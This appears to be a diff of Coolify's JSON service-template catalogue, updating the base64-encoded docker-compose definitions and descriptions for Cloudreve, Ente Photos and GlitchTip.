3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", "tags": [ "file sharing", "cloud storage", @@ -1173,7 +1173,7 @@ "ente-photos": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX0RCX0hPU1Q9JHtFTlRFX0RCX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnRU5URV9EQl9QT1JUPSR7RU5URV9EQl9QT1JUOi01NDMyfScKICAgICAgLSAnRU5URV9EQl9OQU1FPSR7RU5URV9EQl9OQU1FOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdFTlRFX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfS0VZX0VOQ1JZUFRJT049JHtTRVJWSUNFX1JFQUxCQVNFNjRfRU5DUllQVElPTn0nCiAgICAgIC0gJ0VOVEVfS0VZX0hBU0g9JHtTRVJWSUNFX1JFQUxCQVNFNjRfNjRfSEFTSH0nCiAgICAgIC0gJ0VOVEVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9KV1R9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0FETUlOPSR7RU5URV9JTlRFUk5BTF9BRE1JTjotMTU4MDU1OTk2MjM4NjQzOH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT049JHtFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0FSRV9MT0NBTF9CVUNLRVRTPSR7UFJJTUFSWV9TVE9SQUdFX0FSRV9MT0NBTF9CVUNLRVRTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1VTRV9QQVRIX1NUWUxFX1VSTFM9JHtQUklNQVJZX1NUT1JBR0VfVVNFX1BBVEhfU1RZTEVfVVJMUzotdHJ1ZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0tFWT0ke1MzX1NUT1JBR0VfS0VZOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9TRUNSRVQ9JHtTM19TVE9SQUdFX1NFQ1JFVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTM19TVE9SQUdFX0VORFBPSU5UOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9SRUdJT049JHtTM19TVE9SQUdFX1JFR0lPTjotdXMtZWFzdC0xfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQlVDS0VUPSR7UzNfU1RPUkFHRV9CVUNLRVQ6P30nCiAgICAgIC0gJ0VOVEVfU01UUF9IT1NUPSR7RU5URV9TTVRQX0hPU1R9JwogICAgICAtICdFTlRFX1NNVFBfUE9SVD0ke0VOVEVfU01UUF9QT1JUfScKICAgICAgLSAnRU5URV9TTVRQX1VTRVJOQU1FPSR7RU5URV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnRU5URV9TTVRQX1BBU1NXT1JEPSR7RU5URV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnRU5URV9TTVRQX0VNQUlMPSR7RU5URV9TTVRQX0VNQUlMfScKICAgICAgLSAnRU5URV9TTVRQX1NFTkRFUl9OQU1FPSR7RU5URV9TTVRQX1NFTkRFUl9OQU1FfScKICAgICAgLSAnRU5URV9TTVRQX0VOQ1JZUFRJT049JHtFTlRFX1NNVFBfRU5DUllQVElPTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODAvcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdoY3IuaW8vZW50ZS1pby93ZWIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9XRUJfMzAwMAogICAgICAtICdFTlRFX0FQSV9PUklHSU49JHtTRVJWSUNFX0ZRRE5fTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLS1mYWlsJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7U0VSVklDRV9EQl9OQU1FOi1lbnRlX2RifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICR7UE9TVEdSRVNfVVNFUn0gLWQgJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX1BIT1RPU19PUklHSU49JHtTRVJWSUNFX0ZRRE5fV0VCfScKICAgICAgLSAnRU5URV9EQl9IT1NUPSR7RU5URV9EQl9IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0VOVEVfREJfUE9SVD0ke0VOVEVfREJfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0VOVEVfREJfTkFNRT0ke0VOVEVfREJfTkFNRTotZW50ZV9kYn0nCiAgICAgIC0gJ0VOVEVfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnRU5URV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdFTlRFX0tFWV9FTkNSWVBUSU9OPSR7U0VSVklDRV9SRUFMQkFTRTY0X0VOQ1JZUFRJT059JwogICAgICAtICdFTlRFX0tFWV9IQVNIPSR7U0VSVklDRV9SRUFMQkFTRTY0XzY0X0hBU0h9JwogICAgICAtICdFTlRFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1JFQUxCQVNFNjRfSldUfScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9BRE1JTj0ke0VOVEVfSU5URVJOQUxfQURNSU46LTE1ODA1NTk5NjIzODY0Mzh9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OPSR7RU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9BUkVfTE9DQUxfQlVDS0VUUz0ke1BSSU1BUllfU1RPUkFHRV9BUkVfTE9DQUxfQlVDS0VUUzotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9VU0VfUEFUSF9TVFlMRV9VUkxTPSR7UFJJTUFSWV9TVE9SQUdFX1VTRV9QQVRIX1NUWUxFX1VSTFM6LXRydWV9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9LRVk9JHtTM19TVE9SQUdFX0tFWTo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fU0VDUkVUPSR7UzNfU1RPUkFHRV9TRUNSRVQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0VORFBPSU5UPSR7UzNfU1RPUkFHRV9FTkRQT0lOVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fUkVHSU9OPSR7UzNfU1RPUkFHRV9SRUdJT046LXVzLWVhc3QtMX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0JVQ0tFVD0ke1MzX1NUT1JBR0VfQlVDS0VUOj99JwogICAgICAtICdFTlRFX1NNVFBfSE9TVD0ke0VOVEVfU01UUF9IT1NUfScKICAgICAgLSAnRU5URV9TTVRQX1BPUlQ9JHtFTlRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9VU0VSTkFNRT0ke0VOVEVfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9QQVNTV09SRD0ke0VOVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTUFJTD0ke0VOVEVfU01UUF9FTUFJTH0nCiAgICAgIC0gJ0VOVEVfU01UUF9TRU5ERVJfTkFNRT0ke0VOVEVfU01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTkNSWVBUSU9OPSR7RU5URV9TTVRQX0VOQ1JZUFRJT059JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDgwL3BpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHdlYjoKICAgIGltYWdlOiBnaGNyLmlvL2VudGUtaW8vd2ViCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9GUUROX01VU0VVTX0nCiAgICAgIC0gJ0VOVEVfQUxCVU1TX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9XRUJfMzAwMn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy0tZmFpbCcKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1NFUlZJQ0VfREJfTkFNRTotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1BPU1RHUkVTX1VTRVJ9IC1kICR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "photos", "gallery", @@ -1758,19 +1758,17 @@ }, "glitchtip": { "documentation": "https://glitchtip.com?utm_source=coolify.io", - "slogan": "GlitchTip is a self-hosted, open-source error tracking system.", - "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwODAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", + "slogan": "GlitchTip is a error tracking system.", + "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc